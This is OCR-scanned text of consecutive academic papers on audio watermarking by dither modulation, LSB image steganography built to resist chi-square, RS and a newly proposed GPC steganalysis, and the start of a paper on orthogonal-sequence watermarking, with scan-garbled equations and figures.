where W is obtained using QAM, representing D=2 bits of the stego-data. Schemes
other than QAM can also be used with different embedding capacity and robustness.

Let the magnitude of W, be A/ 242 50 that all coded data are located at centers of the

grid quadrants as indicated by the circles in Fig.1. In the extreme case where A =
max[|C,|] thus Q[C,]=0, the host spectral components in the selected band is com-
pletely replaced by W, .

A
j2A

JA

Fig. 1. Dither modulation in the complex frequency plane

2.3 Synchronization Pilot

Synchronization is essential to correctly recover the embedded data. A search process
is used in the watermark detector to locate the encoded frame. For this purpose, a pilot
signal is attached to the data as a part of the embedded sequence. The pilot must not
take too large a portion of the watermark band and be easy to track. In the present
system, it is composed of a number of symbols (1+j) and —(1+j) corresponding to an
m-sequence of length L and occupies the lower part of the watermark band. The pilot
is inserted into the signal spectrum in the same way as the mark symbols.
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2.4 Structure of the Coded Signal Spectrum

The watermarked frame is composed of the preserved audio components s’(k), the
embedded mark m(k), and a synchronization pilot p(k). The preserved audio contains
most of the important frequency contents essential for imperceptibility, and the rest
carries both the stego-data and the pilot. The spectrum of the composite signal is

X (n) = S(n) Wy (n) +{M (n) + Q[S () [}W,, (n) + {P(n) + Q[S () }W,, () )

where S(n), M(n), and P(n) are the signal spectrum, the mark symbols, and the pilot,
respectively, and 0 < n < N-1. Windows for the mark, the pilot and the preserved
audio signal are defined, respectively, by

1 (N/&H)+L<n<(N/2)-1
Wy (n) = { (6)
0 0<n<(N/4)+L-1or (N/2)<n<N-1,
1 (N/IH<n<(N/dH+L-1
W, (n) = @)
0 0<n<(N/4)-lor (N/H)+L<n<N-1,
and
We(n)=1-W,, (n)—W,(n) 0<n<N-1. (8)
The mark, the pilot, and the quantization operator Q[.] are designed such that
oM m+olsmi=olsm] . )
and
0P+ o[sm 1= 0lsm)] . (10)

Since the mark window can accommodate (N/2—N/4—L) symbols, and each com-
plex symbol represents D bits (D=2 when using QAM), the number of stego-bits is
(N/A-L)D. In the above example where the sampling frequency f[J44.1kHz,
N,001024, and T023.2ms, the watermark band can accommodate a total of N,/8 = N/4
= 128 symbols including the mark and pilot when B=1/4. With QAM and L = 31, for
example, the data capacity is 194 bits representing 27 ASCII characters.

2.5 Watermark Detection

The first step in watermark detection is to locate the encoded frame. This can be done
by cross-correlating the pilot sequence with the spectral lines in W,(n) for each frame
of the audio waveform. A correlation peak indicates that synchronization is achieved.
To speed up the search process, a replacement scheme may be used for the pilot
sequence instead of dither modulation, and the search is carried out in the time do-
main. The price paid is a slight increase of distortion. In this method, a candidate
frame is band-pass filtered to suppress spectral contents outside the embedded band,
and then correlated with a locally generated pilot waveform that is the time domain
representation of the pilot. A two-step search procedure is adopted: A coarse search is
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first carried out to quickly approach the peak, and then a fine search accurately locates
the encoded frame. Since the pilot is a narrow band signal composed of a series of
sinusoids, the correlation output d(m) oscillates rapidly with m, as shown in Fig.2.
Therefore the search is likely to fail since the possibility of falling into a pit between
two peaks is high. To resolve the problem, magnitude of the correlation “envelope”
may be used instead, which is obtained by taking difference between the maximum
and minimum among several consecutive samples in d(m). As soon as it exceeds a
predefined threshold, a fine search is invoked.

1

1 1 1 1 1 1
I I I I I I
I I I I I I
I I I I I I
05— ——-l-———A4—-——4—-——fit ——— [ A
I I I I I I
I I I I I I
I I | I I I
S oyl "H‘ e el h il u“ A o wm‘h
I I I I I
\ I I I I I
I I I I I I
05 -—-—-———A4---+------ [ e Sty
I I I I I I I
I I I I I I I
I I I I I I I
-1 1 1 1 1 1 1 1
-400  -300 200 -100 0 100 200 300 400

Fig. 2. Correlation between local pilot and the band-pass filtered audio with embedded data

The key to an efficient search is an appropriate choice of search step size, deter-
mined by the correlation radius of the pilot obtainable from IDFT of the power spec-
trum density, Ez(n), n=20,1, ..., N~1. Since the pilot in the frequency domain is
composed of L spectral lines corresponding to an m-sequence, E’(n) is rectangular
shaped whose width is given by

w,,=LAf=2];\S] L. (11)
2

So e(m) is a sinc function. Define the half-width of the main lobe as correlation ra-
dius:
1 2N,

K= = . 12
wpAt L (12)

Thus, letting the search step be K, and choosing a threshold greater than, say, twice
the highest sidelobe will ensure a reliable search. To further speed up the search proc-
ess, the pilot is weighted with a Hamming window so that the main lobe is signifi-
cantly broadened.

Having identified the encoded frame, the embedded symbols are recovered:

M (n)=S(m)W,, (n) - Q[S(m)W,, ()] . (13)

The information needed at the receiver includes the frame length »,, the modulation
technique used (here QAM), the mark band allocation, the quantization step, and the
pseudo-random sequence for generating the pilot. These may form part of the key.
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3 Experimental Results and Performance Study

3.1 Experimental System

A block diagram of the experimental system is shown in Fig.3. The OFDM subcarri-
ers consist of the dither modulated spectral components and the unmodified signal
spectral lines outside the embedding band. The complex watermark stream is obtained
from a binary sequence using QAM. A 31-bit m-sequence is used as the pilot. After
IFFT, a frame of marked waveform replaces the selected frame in the host.

| Complex
Bi QAM > svmbols
inary sequence
to be embedded \
N Candidate Dithﬂ:
frame modulation
Y
PN X .
generator —>| Pilot Mixer |[—>
Host audio T Marl::ed
® audio
Marked audio Pilot Cross: "
—@ > 1ot le— Ke
extractor [ | correlator [« 1-ocal pilot y

Encoded Bandpass
frame filter —‘
+

Extracted
i Mark mark
Quantizer decoder [

Fig. 3. Block diagram of the experimental system

At the receiver, search is performed either in the frequency domain or in the time
domain. In the time domain approach, signal components in the known band is ex-
tracted with a Sth-order type I Chebyshev band-pass filter, and then cross-correlated
with a locally generated pilot waveform. In order to obtain an accurate alignment, a
dual-direction filter is used in the fine search to preserve the phase.

3.2 Embedding Capacity and Imperceptibility

Embedding capacity is a function of watermark bandwidth B, frame length N,, bit
number represented by each symbol, D, and length of the pilot, L , as given by
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J=(N§B—LMJD. (14)

With the proposed technique, it is possible to embed several hundred bits into a single
segment lasting 20~30ms. For a given embedding capacity, the higher the sampling
frequency hence the bandwidth is, the shorter the required frame length. For high
fidelity music, the frame length can be very short so that the effect of data hiding on
sound quality is small.

Watermarks are usually embedded into a number of frames in the host audio.
These frames are organized into groups, and a chained structure is use to avoid
lengthy searches. The synchronization pilot was only inserted into the first frame of
each group with position information of the next frame contained in the embedded
data. The band assigned to the pilot was thus used to carry a pointer for the subse-
quent frame. Choosing the minimum spacing between frames as 32N, where N, =
1024, a total of 20 candidate frames were identified in a segment of Radetsky March
lasting 23.77s, with f, = 44.1 kHz, 16 bits per sample, and embedding bandwidth w =
W/4. This resulted in a payload of more than 3,800 bits when using QAM, that is,
more that 540 ASCII characters, or nearly 25 characters per second.

The embedding induced distortion is a function of the quantization step A. Fig.4
shows waveforms of a signal frame before and after embedding, with A= max(|C |)/8,
where max(|C ) is obtained from a representative signal section. The A value should
be included in the key. The two waveforms are hardly distinguishable. The difference
between them, very close to the horizontal axis, is also shown. Table 1 presents SNR
of the marked audio frame from Radetsky March with different quantization steps.

0.4

T T T

| Two waveforms almost overlap
|

|

Time in sec

Fig. 4. Waveforms of a signal frame before and after embedding, and their difference

Signal-to-noise ratios of the entire music, as a metric to assess imperceptibility, are
listed in Table 2. The largest quantization step was used in this experiment, (complete
replacement of the spectral lines within the embedding band). In the table, f, is the
sampling frequency, N, number of bits per sample, T length of the music, N, number
of embedded frames, and N, the total number of embedded bits. Even with the largest
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quantization step, the introduced distortion is inaudible. A subjective test on several
music clips was carried out. In each piece, a number of frames were identified using
the HAS criterion, and data were embedded into them with various quantization steps.
Using a procedure based on the ABX method [12], a group of 10 people were inde-
pendently asked to listen to the original and the modified versions (A and B) of each
piece in a random order, and then listen once more to a randomly chosen one (X).
They were asked to tell whether X is A or B. The rates of correct identification were
roughly 50%, indicating that the data embedding is imperceptible. In contrast, adding
white Gaussian noise at similar levels is clearly audible to most listeners.

Table 1. Signal-to-noise ratio of the embedded frame

A max(|C)) max(|C |)/2 max(|C |)/4 max(|C|)/8  max(|C )/10
SNR(dB) 18.68 24.28 29.99 35.98 38.12

Table 2. SNR of embedded pieces. Dither steps: A=max(|C,|), A,=max(|C |)/8
SNR (dB
Hostaudio | f(kHz) N, (bits) T (sec) N, N, A ( )A
1 2
I: Classic 44.10 16 23.77 36 9,216 32.02 39.43
II: Classic 44.10 16 47.74 70 17,920 42.13 47.24
II1: Pop 44.10 16 25.52 45 11,520 32.66 41.29
IV: Pop 44.10 16 46.83 87 22,272 31.63 41.32
V: Speech 22.05 8 3.47 8 2,048 31.80 41.20
VI: Speech 22.05 8 2.51 6 1,536 33.21 36.45

3.3 Robustness Test

Tests for robustness against attacks such as AWGN interference and MP3 coding
were performed on audio pieces watermarked with the largest quantization step.

Additive Noise Interference. AWGN was added to the marked audio. Fig.5 shows
the constellation of the extracted stream with QAM watermark data and a Hamming
windowed pilot. Ideally, the watermarks should all appear at four points in the com-
plex plane: 14j, —1+4j, —1—j, and 1—j, as indicated by the thick dots. The scattered
circles represent a noise-contaminated signal at SNR=30dB referenced to the average
power of the waveform. Clearly, synchronization and accurate decode of watermark
symbols can be achieved as long as the symbols remain on the correct quadrants.

Progressively increasing noise caused errors to occur, until the search or decoding
failed. Fig.6 gives the relation between SNR and the bit error rate. Three types of
signals were used in the experiment: (1) hi-fi music with f, = 44.10 kHz, (2) speech
with f, = 22.05 kHz, and (3) low quality music or speech with f, = 8.0 kHz. The em-
bedding bandwidth was W/4. The results show that noise tolerance mainly depends on
the modulation scheme, essentially the number of bits contained in a symbol, D, and
to a much less extent on sampling frequencies and the particular type of signal.
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Fig. 6. Relationship between SNR and BER

Linear Filtering. The watermarked signal was passed through a low-pass filter prior
to detection. A 9th-order Butterworth filter was used. For any type of signal and
modulation scheme, error-free recovery of the embedded data was achieved provided
the cut-off frequency was above the high end of the watermark band.

MP3 Coding. Robustness against MP3 coding is important for audio watermarking.
Five pieces of hi-fi music (I~III: classic music, IV and V: pop songs) were tested in
the experiment. Parameters were the same as that in Table 2, with [/=[11. In Table 3,
the bit error rates obtained at different compression rates and for different music are
given. Two BER values are shown in each case, where the left and right values corre-
spond to the watermark bands [W/4, W/2] and [W/4, 3W/§], respectively.

It is concluded from this experiment that, when using QAM, the system is robust
against MP3 at bit rates as low as 64 kbps[180 kbps, depending on the assignment of
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the watermark band. With the narrower band, the embedded data was extracted with-
out error at MP3 bit rate of 64 kbps per sound channel. When using BPSK, error-free
extraction was achieved for all the 5 tested host signals even at the MP3 bit rate of 56
kbps and with a wider watermarking band.

Table 3. Robustness against MP3: BER(%) at different MP3 bit rates. Left and right BER
values were obtained with watermark bands [W/4, W/2] and [W/4, 3W/8] respectively

MP3 bitrate | 128 kbps 112 kbps 96 kbps 80 kbps 64 kbps 56 kbps
I 0/0 0/0 0/0 0.52/0 2.06/0 5.67/1.55

I 0/0 0/0 0/0 0/0 2.06/0 1.55/0
11 0/0 0/0 0/0 0/0 3.09/0 3.61/1.03
v 0/0 0/0 0/0 0/0 0.52/0 2.58/0.52

\4 0/0 0/0 0/0 0/0 0.5 /0 2.06/0

4 Conclusions

Using a frequency domain dithering technique, a substantial amount of information
can be embedded into a digital audio signal. In this technique, a data sequence is en-
coded and inserted into the spectrum of short frames of the signal. A high degree of
imperceptibility is achieved by utilizing the HAS both in the time domain and in the
frequency domain. With a large quantization step, the system is sufficiently robust
against additive white Gaussian noise and MP3 compression coding.

When the quantization step becomes small, better transparency but less robustness,
results. This is considered to be suitable for covert communication applications, and
should be subject to both perceptive and statistic analysis. It has been found that, with
a small quantization step, say, max(|C,|)/8, the modifications to the waveform of the
affected frame as shown in Fig.4 is in fact well beyond several least significant bits.
Therefore, LSB based steganalytic techniques cannot be used to detect the presence of
the data embedding. Moreover, since the frames are sparsely scattered, locating signal
segments that likely contain secrete information without the knowledge of the syn-
chronization pilot is extremely difficult. Further study in this aspect is required.

A number of parameters can be varied to meet different requirements. For exam-
ple, choosing a short frame length and a narrow watermark band toward lower fre-
quencies can make the watermark more robust. The embedded data can be repeated in
the candidate frames over the host signal if only a few data are to be embedded. On
the other hand, if data capacity is important, a longer frame should be used, and a
more efficient modulation scheme such as 16QAM (D=4) can be chosen. Error cor-
rection techniques may also be introduced with a moderate reduction of payload.
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Abstract. A novel steganographic scheme is proposed which avoids asymmetry
inherent in conventional LSB embedding techniques so that abnormality in the
image histogram is kept minimum. The proposed technique is capable of re-
sisting the 3 test and RS analysis, as well as a new steganalytic method named
GPC analysis as introduced in this paper. In the described steganographic tech-
nique, a pair of mutually complementary mappings, F, and F_, is used, leading to
a balanced behavior of several statistical parameters explored by several stega-
nalytic schemes, thus improved security. Experimental results are presented to
demonstrate the effectiveness of the method.

1 Introduction

Digital watermarking and steganography are two major branches of information hiding
[1]. While watermarking aims to protect copyright of multimedia contents, the purpose
of steganography is to send secret messages under the cover of a carrier signal. Despite
that steganographic tools only alter the most insignificant components, they inevitably
leave detectable traces. The primary goal of attack on steganographic systems, termed
steganalysis, is to detect the presence of hidden data [2,3].

A widely used technique with low computational complexity and high insertion
capacity is LSB steganography that replaces the least significant bits of the host me-
dium with a binary sequence. Many steganalytic approaches have been developed to
attack it. The y* analysis [4,5] detects the presence of hidden data based on the fact that
the occurrence probabilities of adjacent gray values tend to become equal after LSB
embedding. The method can also be used against other steganographic schemes such as
J-Steg in which pairs of values are swapped into each other to embed message bits. RS
steganalysis proposed by Fridrich et al. utilizes sensitive dual statistics derived from
spatial correlations [2,6]. In addition, the RQP steganalysis for color images [7] is
based on statistics of the numbers of unique colors and close-color pairs.

If the cover image was initially stored in the JPEG format, message insertion may
alter the quantization characteristics of the DCT coefficients, leaving a clear sign for
successful steganalysis [2,8]. If the DCT coefficients are modified in data embedding,
block effects [9] or histogram distortion [10] can be explored in the analysis against
such steganography techniques as used in J-Steg, OutGuess and F5 [11]. Lyu and Farid
proposed a universal higher-order statistical method capable of attacking nearly every
steganographic technique [12]. But in practice, it is difficult to perform the required
training with a large number of stego and cover images.

While the above approaches aim to detect the presence of hidden data, an active
warden attack can be performed, overwriting some insignificant contents in the cover

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 395-406, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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to prevent message extraction. A game model between data-hider and data-attacker and
the game equilibria are given in [13].

As opponents of attackers, data-hiders always try to design steganographic strategies
for resisting statistical analyses [14]. For example, by carefully choosing replacement
of the host pixel values, an LSB-based method can effectively withstand the RQP
analysis [15]. In the present paper, a novel steganographic approach is proposed, which
avoids the asymmetric characteristic inherent in conventional LSB embedding tech-
niques so that distortion to the image histogram is kept minimum. The proposed tech-
nique is capable of resisting several powerful steganalytic methods including the RS
analysis, the } test, and a new technique termed GPC analysis as introduced in Section
2 of this paper.

2 Analyses of Steganographic Techniques

2.1 Chi-Square Test [4, 5]

Secret message for encoding or encryption can be considered a pseudo-random bit
stream consisting of Os and 1s. After replacing the LSBs of a cover image with these
hidden bits, occurrences with gray values 2i and 2i+1 tend to become equal. Supposing
that n, is the number of pixels with a gray value j, the X test calculates

% [nz' _(nz' +y )/2]2
— 1 1 I . 1
d ; (n2i +75 )/2 M

and

1 ){2 t E,]
=1- exp|—— f % drt, 2
T —1)/2]JO p( 2} @

where p represents the probability that the distributions of n,, and n
can be used to decide the presence of secret information.

are equal. This

2i+1

2.2 RS Analysis [2, 6]

This method defines two mappings: F, for 0«31, 2¢33, ..., 2543255 and F_, for
—160, 162, ..., 255¢>256. In other words, F is used when the LSB of cover image is
different from the hidden bit. Also, the following function is defined to measure the
smoothness of a pixel group (x,, x,, ..., X,):

n—1
f(x]’x2""’xn):2|xi+l_xi|' (3)
i=1

Divide the received image into small blocks of the same size. Define R,, as the ratio
of blocks in which fincreases when F| is applied to a part of each block, and §,,as the
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ratio of blocks with decreasing f. In general, R,+ S,,< 1. Similarly, another two pa-
rameters R_, and S_,, can be defined when F_| is applied to a part of each block.

If the received image does not contain secret data, F, and F_, should equally increase
the f value of blocks in a statistical manner. So,

Ry=R_,, >S8,=5,. 4)

When secret bits are embedded, the difference between R, and S,, decreases whereas
the difference between R_,, and S_,, increases. Thus,

R, -S, >R,-S, . (5)

Therefore, an attacker can use the relation among the four parameters to detect the
presence of secret information.

2.3 Gray-Level Plane Crossing (GPC) Analysis

In this subsection, an alternative steganalytic approach against LSB embedding is
described. This, together with the 7’ and RS analysis, will be used in the following to
examine the anti-steganalysis performance of a new LHA approach proposed in this
paper. By viewing an image as a landscape in a 3D space with the z coordinate repre-
senting the pixel gray-level, each pixel in the image is identified as a triplet (x, y, z).
Define two interlaced families of odd and even gray-level planes, P, and P,, parallel to
the XY plane, each containing planes between z = 2i+1 and 2i+2, and 2i and 2i+1,
respectively, where i =0, 1, ..., 127. The odd planes in P, may be designated z=1.5, z
=3.5,2z=55,...,2=255.5,and the even planesin P, as z=0.5,2=2.5,z=45, ..., z=
254.5. The numbers of planes in the two families crossed by all lines connection ad-
jacent pixels are summed up, and denoted N,and N, respectively.

Clearly, if the received image does not contain any secret data, N,and N, should
roughly equal. LSB embedding will not change N because swapping between 2i and
2i+1 does not cross any plane in P_. In contrary, N, will be raised since each modified
pixel traverses one plane in P, and the smoothness between adjacent pixels is reduced.
For example, if the two adjacent gray values of original image are equal, and one of
them is modified by LSB embedding, N, will increase. Therefore a parameter R = N,/
N, can be used to detect the presence of inserted data. If R is greater than a given
threshold 7, the image is judged as containing a secret message. In order to enhance
sensibility of R, the number of crossings is not counted when the difference between
adjacent gray values is greater than a predefined value D, say, 4 or 5.

Fig.1 shows the relationship between R and the amount of secret bits in 3 test im-
ages, all sized 512x512. Note that R increases approximately linearly with the payload
L, the ratio between the embedded bit number and the total number of host pixels. Also,
the less the high-frequency components in a cover image, the more sensitive the value
of R is with respect to the payload. The usefulness of the R-L relationship is demon-
strated in the following experiment. A total of 385 images captured with a digital
camera were used to establish statistical distributions of R at different payloads. Fig.2
shows the results where the ordinate is the image number corresponding to R on the
abscissa. When smoothed and normalized, these curves can be used to represent PDF of
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R. Choosing a threshold T for detecting LSB steganography, the probability of missing
a secret-data carrying image, P, and the probability of false alarm, P, may be deter-
mined. In Table 1, P, and P, under different T are given. Obviously, a large T results in
a small P, and large P,. When the payload is large enough and a suitable threshold
chosen, the two types of error become fairly small.

03 04 05 06 07 08 09 1
Payload L

(d)
Fig. 1. Images Milkdrop (a), Man (b), Couple (c), and relation between R and payload (d)

Table 1. Detection performance with different threshold 7

T False alarm prob- Missing probability P (%)
ability P, (%) L=0.25 L=0.50 L=0.75 L=1.0
1.010 11.69 5.97 1.04 0.52 0.26
1.015 5.45 10.39 3.38 1.56 0.52
1.020 2.86 19.48 4.68 2.08 0.52
1.025 1.82 29.61 8.31 4.16 1.82
1.030 1.04 43.38 12.21 597 2.86
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Fig. 2. Distributions of R with different payload L

3 LHA Steganography

3.1 Steganographic Algorithm

In the basic LSB steganography, a gray value is not altered if its LSB is the same as the
bit to be hidden. Otherwise 2i is changed to 2i+1 when embedding a 1, or 2i+1 changed
to 2i when embedding a 0. Swappings between 2i and 2i—1 or between 2i+1 and 2i+2
never occur. All the three above-mentioned steganalytic approaches use statistical
parameters exploring this property in detecting the presence of secret data.

To improve security, we introduce a new embedding method that causes least ab-
normality in the histogram for resisting the y test. Also, since both F, and F_, are used
when modifying gray values so that it can withstand RS and GPC steganalyses.

Consider pixels with a gray value j, 0 <j <255, in the host image, among which there
are h, having their LSB different from the corresponding secret bit to be embedded.
Modify these pixels by either +1 or —1 instead of simply replacing the LSBs. In this
way, as in the simple replacement approach, the resulting LSBs will also be identical to
the embedded data. Assume that a total of x, pixels are modified with —1, and (h—x)
pixels with +1 in the embedding. The number of newly generated pixels having a gray
level j in the stego-image is therefore

h; =X +(hj—l _xj—l)' (6)

At both ends of the gray scale,
=x, )
h=x,+h, ®)

h;54 =hyss + (h253 —Xas3 ) > )
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hgss =(h254 _x254)- (10)
Note that
x =0, (11)
Xass = Myss (12)
0<x,<h,, t=12,...,254. (13)

Equations (6)~(10) can be expressed in a matrix form:

h'=Mx+h,, (14)
where h’ is a column vector [, h’, ..., )]s X =[x, X5 ..., X,il), b= [0, h, by, ...
h,.]" and

o 1 0 -~ 0

-1 0 1 0

5)

=
I
- O
|
L
(=)

0 0 0 -10
For resisting the RS and GPC steganalyses, it is desirable that the numbers of map-
pings F, and F_, used in the embedding are equal:

z.xj + Z(h/ —xj)= ‘Zx./' + Z(h/ _xj) . (16)
j=2i j=2i+1 j=2i+1 j=2i

Define an index of histogram abnormality, d, as

255
d=|hh|= {Zo(h; ~hJ . (17

Clearly, d is a function of x, x,, ..., and x,,,. The minimum d corresponds to the least
histogram abnormality when the conditions (11)~(13) and (16) are satisfied, hence
termed the LHA steganography.

To reduce computation complexity, a vector x corresponding to an approximate
minimal d can be found using the following method. Ideally, when h’ = h the histogram
will not change:

h’=Mx+h, =h. (18)

In addition, Eq.(16) should also be satisfied to resist the RS analysis. This results in a
system of 257 linear equations with only 256 unknowns:

Ux=v. (19)
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The sizes of U and v are 257x256 and 257x1 respectively. An approximate solution
to this over-determined problem in the mean square error sense can be found using
matrix pseudo-inversion:

x=U'v. (20)
Letx,=0, x,,, = h,,, and
0 if x, <0
X, =1h, if x, >h, t=1,2,...,254. 21
int(x,) otherwise

In this way, a steganographic scheme x is obtained which causes an approximate
least histogram abnormality in the mean square error sense.
The above-described LHA algorithm can be summarized as a four-step process:

1. Pseudo-randomly scramble the bit stream to be embedded, and map each bit to one
pixel in the host image.
2. Count the number of pixels at gray levels 0~255 which differ in LSBs from the
corresponding secret bits to yield a vector h.
. Calculate x corresponding to an approximate minimum d from (20) and (21).
4. For each gray level j (j =0, 1, ..., 255), randomly select x, pixels among /4, pixels,
decrease them by 1, and increase the other (2—x,) pixels by 1.

(O8]

In this algorithm, although modification to the host pixels may affect the higher bit
planes, the induced distortion to the host image is not increased compared to the simple
LSB replacement technique. Extraction of the embedded information can still be
accomplished by extracting the LSB plane as in the straight LSB method.

4000 20 T 3
—— Original image
3500 —— Steganographic image g
>
3000 %
I3 =
£ 2500 2
E 2000 %
§ 2
3 1500 3
o 8
1000 G-
2
500 5.
-20

o

50 100 150 200 250 0 50 100 150 200 250
Gray values Gray values

(@) (b)

Fig. 3. Histograms of the original image Baboon and the stego-image. (a) The two histograms are
hardly distinguishable. (b) Difference between the two histograms in a boosted scale

o

Fig. 3(a) sketches histograms of an original test image Baboon sized 512x512 and
the stego-image in which each pixel is used to carry one hidden bit by the proposed
method. The two curves are almost identical as the difference due to steganographic
embedding is extremely small. Fig. 3(b) shows the histogram difference in an expanded
scale.
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3.2 Anti-steganalysis Performance

Resistance Against 3* Test. With simple LSB replacement, the number of modified
pixel is about 50% of the stego-bits, and the number of pixels with a gray value 2i
becomes roughly the same as that of 2i+1. By using the LHA technique, however, the
image histogram is preserved so that the signature detectable to the } test is removed.
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Fig. 4. Experimental results of 3 test. (a) Simple LSB replacement steganography. (b) LHA
approach. (c) Close-up of the bottom-left region in (b)

Results of the ¥ test on 3 stego-images (Man, Crowd, and Couple) using the LSB
replacement and the LHA approach, respectively, are shown in Fig.4. The images are
divided into top-left and bottom-right halves by the diagonal. Data were embedded into
the top-left halves. The ¥’ analysis started from the top-left corner, and the images were
scanned in a zigzag fashion until the entire image was covered. Curves representing the
p value as a function of pixel number covered in the test are shown in Fig. 4(a). Because
the top-left sections of the LSB plane were replaced with stego-data, the p-value was
very close to 1. Fluctuation near the vertical axis is due to small sample sizes. The
p-value dropped to nearly O as soon as the covered area exceeded 50%. As such, the
length of stego-data and the embedded region can be estimated quite reliably. The
results for the LHA method is given in Fig. 4(b) where the p-value is always near 0.
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Fig. 4(c) is a close-up view of the dotted box in 4(b). It is therefore verified that the
LHA technique can effectively resist the ’ test.

Resistance Against the RS Analysis. With the simple LSB replacement technique,
only the mapping F, is applied to the LSBs that differ from the secret bits to be hidden.
Changes of smoothness are different when F,and F_ , respectively, are applied to part of
the pixels in a stego-image so that R_,— S_,, > R,,— S, When the test is carried out on a
clean image, on the other hand, one has R, = R_,>S,= S_,.

With the LHA approach, on the other hand, both F, and F_, are applied. Therefore,
changes of smoothness are very close when applying F,and F_, respectively, to the
stego-image so that R, = R_,>S, = §_,, as in a clean image. In other words, the RS test
can no longer distinguish a stego-image from a clean one.

Fig. 5 shows the RS analysis results for a stego-image Baboon. When LSB re-
placement is used, the larger the payload, the greater is the difference between (R_,, —
S_,)and (R, —S,). With LHA, however, R,= R_,>S,,= S_, always holds irrespective of
the increasing payload. Fig.6 shows R_,—R, from 100 stego-images using the straight
LSB method and LHA techniques respectively, and from 100 clean images. Clearly,
RS analysis is effective for the straight LSB method, but invalid for LHA.

07 w ‘ : ‘ 07
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0.1 \/s.\—/\f\’ 0.1 S 3
o . . ‘ ‘ 0 . . . ‘
0 0.2 0.4 0.6 0.8 1 0 0.2 0.4 0.6 0.8 1
Payload L Payload L
(a)

Fig. 5. RS analysis of the stego-image Baboon. (a) Using the simple LSB replacement technique.
(b) Using the LHA technique

Resistance against the GPC Analysis. Because the mapping F_, is also used, both N,
and N, are increased due to data embedding, and distribution of R remains centered
around R=1 as shown in Fig.7, where the solid and dashed lines represent the distribu-
tions of R of the original and the stego-images generated with the LHA approach,
respectively. Therefore, it is impossible to distinguish a stego-image from a clean
image based on the parameter R.

3.3 Application of LHA to Transform Domain Embedding

Digital images are often stored in the JPEG format as quantized DCT coefficients. In
this case, secret data can also be embedded to the LSB of quantized coefficients. But
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images in the JPEG format have a property that the coefficient’s occurrence frequency
decreases with increasing magnitude, and the data insertion must not change this
feature. To hide data in JPEG images, F5 has been proposed [11], which is developed
from its predecessors F3 and F4 using a matrix encoding technique.

—©- Without secret data
—&— Original LSB steg
0.4r —+— LHA algorithm i

Difference between R- and R+

Test images

Fig. 6. Values of R_,—R,, calculated from 100 stego-images by using the LSB-replacement
method and the LHA techniques, and from the same 100 images without secret data
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Fig. 7. Distributions of R of original images and that of LHA based stego-images

In F3, nonzero coefficients are used, whose magnitudes are decremented by 1 when
the LSB does not match. This is for keeping the above-mentioned features and pre-
venting the occurrence frequencies of 2i and 2i+1 from being close to each other, a
signature detectable by y* test. However, since the magnitude decrements generate Os
from the original +1 or —1, the receiver is unable to distinguish a steganographic 0 from
an original 0, and the data-hider must repeatedly embed the affected bits when zeros are
produced. Thus, F3 produces more even coefficients than odd ones resulting in an
abnormal histogram, therefore becomes vulnerable to steganalysis.
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F4 overcomes the above drawback by making both even negative and odd positive
coefficients represent a stego-one, and odd negative and even positive represent a
stego-zero. F5 is a combination of F4 and matrix encoding, which embeds m bits into
2"—1 coefficients using less than one LSB alteration to reduce distortion due to data
embedding. But F5 causes a decrease of image energy because of the magnitude dec-
rement, or shrinkage of histogram. This may provide a clue for steganalysis [10].

By using the LHA approach, a coefficient equal to j is changed to either j+1 or j—1
when it differs from a corresponding hidden bit, where both even negative and odd
positive coefficients are also used to represent a stego-one, and odd negative and even
positive with a stego-zero. There are two exceptions: a coefficient originally equal to
—1 may be changed to —2 or 1, and an original +1 may be changed to —1 or +2. So, the
magnitude and shape of the coefficient histogram is preserved when the LHA technique
is used, and any steganalytic algorithm that explores abnormality in histogram can be
defeated. Fig. 8 shows the histograms of original quantized DCT coefficients and
stego-coefficients of a compressed image Baboon with a quality factor 70. A secret bit
was embedded into the (3,3) coefficient in every 8-by-8 block using F5 and LHA,
respectively. It is clear that the LHA method keeps the histogram of transform coeffi-
cients unchanged whereas F5 causes detectable modifications.

2500 F
—©- Original histogram
g 9
—— F5-stego histogram
2000} —+— LHA-stego histogram ||
(%]
()
£ 15001
(o]
(]
C
[}
3 1000}
O
O
500 -
oLe

Quantized values of DCT coefficients (3,3)

Fig. 8. Histograms of original quantized and stego-DCT coefficients with F5 and LHA

4 Conclusion

In addition to the ’ test and RS analysis, the presence of secret message based on LSB
replacement can also be revealed by viewing the image as a 3D landscape and counting
the numbers of crossings, N, and N,, through two interleaved families of gray-level
planes, P, and P,. These two families may be referred to as odd and even gray-level
planes. With an increasing amount of embedded information, N, rises whereas N, keeps
unchanged. This leads to a new steganalytic method as named the GPC analysis in this
paper.

All the three steganalytical methods make use of the asymmetry inherent in the
procedure of conventional LSB embedding as only the mapping F| is used. In order to
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resist this type of attacks, a more balanced scheme is introduced in which both F, and
F_, are used to preserve the image histogram so that some abnormal features are ef-
fectively avoided. Although modifications are no longer confined to the least signifi-
cant bit plane, the new method does not introduce any additional visual distortion to the
cover image. Extraction of the embedded data can still be accomplished by simply
extracting the LSBs of the stego-image. The proposed approach is also applicable to the
LSB modification of transform domain coefficients, and a detectable signature of
histogram shrinkage introduced by techniques such as F5 is avoided.
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Abstract. In this paper, a scheme of watermark embedding based on a set of or-
thogonal binary sequences is introduced. The described technique is intended to
be incorporated into various public watermarking frameworks developed for
different digital media including images and audio signals. Unlike some previ-
ous methods using PN sequences in which each sequence carries only one bit of
the watermark data, the proposed approach maps a number of bits to a single
sequence from an orthogonal set. Both analytical and experimental studies
show that, owing to the full exploitation of information carrying capability of
each binary sequence, the performance is significantly improved compared with
previous methods based on a one-bit-per-sequence technique.

1 Introduction

Watermark is a digital code embedded imperceptibly and robustly in the host data and
typically contains information about the owner, origin, status, and/or destination of
the data [1,2]. In terms of embedding capacity, watermarking schemes can be classi-
fied into single-bit and multiple-bit schemes. In single-bit schemes, the detection
results are simply binary, namely, “marked” or “not-marked”. It is often important for
the purpose of IPR protection, however, to embed more information into the host
signal such as the name and address of the owner. Therefore, a larger information
embedding capacity is desirable. Since there are conflicts between imperceptibility,
robustness and capacity, compromises must be sought.

Watermarking by adding pseudo-random (PN) sequences to the host data was em-
ployed in many techniques. The types of host include color images [3], audio signals
[4], vertex coordinates of polygonal models [5], etc. The method is applicable in spa-
tial domain [3,4], Fourier transform domain [5], DCT domain [6], wavelet domain [7-
9], and other domains [10-12]. To achieve better performances, various techniques
have been proposed. For example, watermark signals can be pretreated before inser-
tion to enhance robustness [4]. Adjusting watermark strength referenced to the host
data amplitude can provide better imperceptibility [7,8,11]. It is also helpful to adapt
the watermark strength to visual effects with respect to frequency locations and local
